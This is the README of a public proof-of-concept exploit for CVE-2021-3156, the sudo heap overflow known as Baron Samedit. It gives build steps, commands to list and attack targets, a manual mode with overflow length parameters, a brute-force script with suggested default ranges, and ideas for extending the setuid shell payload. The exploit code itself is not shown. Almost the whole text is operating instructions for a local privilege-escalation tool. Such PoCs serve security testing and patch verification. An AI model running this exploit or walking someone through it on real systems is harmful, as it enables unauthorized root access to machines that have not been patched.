CVE-2021-3156 PoC

Introduction

This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys).

Usage

build:

$ make

list targets:

$ ./sudo-hax-me-a-sandwich

run:

$ ./sudo-hax-me-a-sandwich <target_number>

manual mode:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Bruteforce target finding (experimental)

Make sure you have GNU parallel installed.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

some defaults to try:

$ ./brute.sh 90 120 50 70 150 300

Will eat up all available cores. Don't try to netflix & brute.

Contributing

Send (sensible) PR's, I might merge.

Some ideas:

• More targets
• Target finding
• Other exploitation strategies
• More self contained functionality:
  • Embed shared library hax.c (Make it small please, ELF golf + asm setuid/execve stub)
  • Add mkdir logic to hax.c
• Directory/shared library cleanup